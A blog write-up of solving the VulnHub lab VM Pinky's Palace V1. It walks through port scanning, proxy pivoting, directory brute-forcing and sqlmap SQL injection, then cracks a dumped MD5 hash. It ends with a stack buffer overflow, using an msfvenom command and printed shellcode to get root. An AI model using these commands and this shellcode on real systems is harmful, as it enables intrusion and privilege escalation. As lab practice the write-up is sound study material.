Pinkys Palace V1

July 8, 2018   

Introduction

Today we are going to look at how I solved the Pinky’s Palace V1 Boot2Root from VulnHub. I really enjoyed this box and would recommend it for anyone who wants to practice common exploitation methods.

VM Info

Name: Pinky’s Palace V1
Author: @Pink_P4nther
Link: https://www.vulnhub.com/entry/pinkys-palace-v1,225
Difficulty: Beginner / Intermediate
Networking: Auto DHCP (192.168.1.45)

Discovery

We begin our journey with a port scan. The VM tells us it’s IP on boot so we don’t need to go and scan our own network to find the host, in my case the IP is 192.168.1.45.
Everyone has their own preferences for which port scanner to use and with which options, mine is as follows.

nmap -v -sS -A -T4 --reason -oA target_syn --webxml -p- 192.168.1.45

Lets break this down so we know what’s going on.

Parameter Reason
-v Verbose output
-sS TCP SYN scan
-A Enable OS detection, version detection, script scanning, and traceroute
-T4 Aggressive scanning
–reason Show host and port state reasons
-oA target_syn All output formats and name the file target_syn
–webxml Also generate a webxml report
-p- Scan all TCP ports

Once NMAP has finished doing its thing we will find target_syn.xml in our working directory along with the other output formats should we need them.

Let’s open target_syn.xml and see what we have found.

Port Description
8080 Nginx web server / 403 Forbidden
31337 Squid http proxy
64666 SSH

We have 3 services listening, but the web server is returning a 403, there is a good chance that we need to pivot on the http proxy in order to get access to the web server.

Pivoting

Pivoting on a http proxy is fairly trivial for what we need it for, we can test our theory with a simple curl request.

curl --proxy http://192.168.1.45:31337 127.0.0.1:8080

Why 127.0.0.1? Well as we are passing our http request through the proxy, 127.0.0.1 refers to the localhost of the proxy server (192.168.1.45) and not our machine.

Now we can configure our web browser with the a http proxy of 192.168.145:31337 and remove the option to bypass the proxy for local addresses.

boring static html page

As we can see we no longer get a 403 and are presented with a basic html page. There isn’t anything interesting here though, we are going to have to enumerate some more.

Enumeration

So we have access to the web server, now we need to check to see if there are any interesting files that could help us get a foothold in this server. After trying a couple of different word lists, the directory-list-2.3-small.txt list from from the (now defunct) DirBuster project came up with with a good result.

Gobuster is my content discovery tool of choice, due to it’s simplicity and decent speed

gobuster -p http://192.168.1.45:31337 -u http://127.0.0.1:8080 -w /usr/share/wordlists/directory-list-2.3-small.txt

OK! now we are getting somewhere, we have found /littlesecrets-main which presents us with a login page when we visit it in our web browser.

login page

SQL Injection

Using SQLMap we cant test the login form for all different types of SQL injection vulnerabilities. After running SQLMap for a while we will discover that the form is vulnerable to a time based SQL injection attack via the User-Agent header.

sqlmap --dbms=mysql --data="user=admin&pass=pass&submit=Login" --url http://127.0.0.1:8080/littlesecrets-main/login.php --proxy=http://192.168.1.45:31337 --level=5 --risk=3

To speed things up a little I’ve already listed the table names so I know there is a table called users. By adding –dump users to the command we can see the contents of the users table. Great we have two users and their password hashes pulled out of the database

id pass user
1 f543dbfeaf238729831a321c7a68bee4 pinky
2 d60dffed7cc0d87e1f4a11aa06ca73af pinkymanage

Hashcat

The hashes look like md5 and as this is a boot2root we can assume at least one of them is in a dictionary.

hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt

After a short time hashcat give us the password 3pinkysaf33pinkysaf3

Finally We have A Shell

Trying to login to the web page will not work, however we can ssh into the machine.

ssh [email protected] -p64666

After some searching around in the filesystem I found another directory inside /var/www/html/littlesecets-main/ named ultrasecretadminf1l35 inside the ultrasecretadminf1l35 diectory there is a notes.txt and a base64 encoded file containing a SSH private key.

Copying the key and saving it as rsa_key we can then SSH into the machines as the user pinky

ssh -i rsa_key [email protected] -p64666

There are a couple of extra files which I added to pinkys home directory to help with debugging the adminhelper binary. The adminhelper binary is interesting as it has the sgid bit set. This is probably going to be our route to the root user.

Buffer Overflow

The first thing I do here is to disassemble the adminhelper binary with Radare2. We can see from the disassembly that it’s a simple binary that takes user input and then echos it back to the screen.

We also can se that the unsafe function strcpy is beng used. strcpy takes 2 arguments, src and dest, dest is a fixed amount of bytes that should be large enough to hold the input. As we control the size of the input data we can overflow by simply sending a lager payload than the dest buffer. In this case the dest buffer is size 0x40 bytes (64 bytes) so we need to send at least 65 bytes to overflow the buffer.

After a little trial and error I found that to overwrite the RIP register (instruction pointer) I needed to send 72 bytes and then the next 6 bytes will be the address in memory where I want to send the program to next.

crash

OK we can control execution by overwriting the instruction pointer so now we just need a place to send the program to containing our own code. First let’s check if ASLR is enabled on the machine, if not then we can store our code in an environment variable and point RIP to the location of the variable in memory.

cat /proc/sys/kernel/randomize_va_space

As we expected ASLR is not enabled

When we store our shellcode in an environment variable we need to know where it is in memory, luckily there is a little C snippet that will do just that

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}

Now we copy getenvaddr.c to the machine and compile it with gcc

gcc getenvaddr.c -o getenvaddr

Next we need some shellcode. The metsploit linux/x64/exec payload will do for what we need with the CMD set to /bin/sh. The bad characters (-b) are anything that might cause an interrupt such as null and newline characters.

msfvenom -a x64 -p linux/x64/exec CMD=/bin/sh -b '\x00\x0b\x0d\x0a\x18\x0c\x23\x24\x28\x29' | hexdump -v -e '"\\\x" 1/1 "%02x"'

This generates the following shellcode

\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x5f\x01\xd5\x72\x2d\x87\x83\xf5\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x35\x3a\x8d\xeb\x65\x3c\xac\x97\x36\x6f\xfa\x01\x45\x87\xd0\xbd\xd6\xe6\xbd\x5f\x4e\x87\x83\xbd\xd6\xe7\x87\x9a\x25\x87\x83\xf5\x70\x63\xbc\x1c\x02\xf4\xeb\xf5\x09\x56\x9d\xfb\xcb\x88\x86\xf5

Now we are ready to put it all together and exploit the binary to gain root privileges. First we will store our shellcode in an environment variable, then get the memory address the variable is stored at and finally execute the adminhelper binary with 72 bytes plus the memory address of our variable (in reverse due to endianess)

There we have it, we have the flag and have finished the box! Phew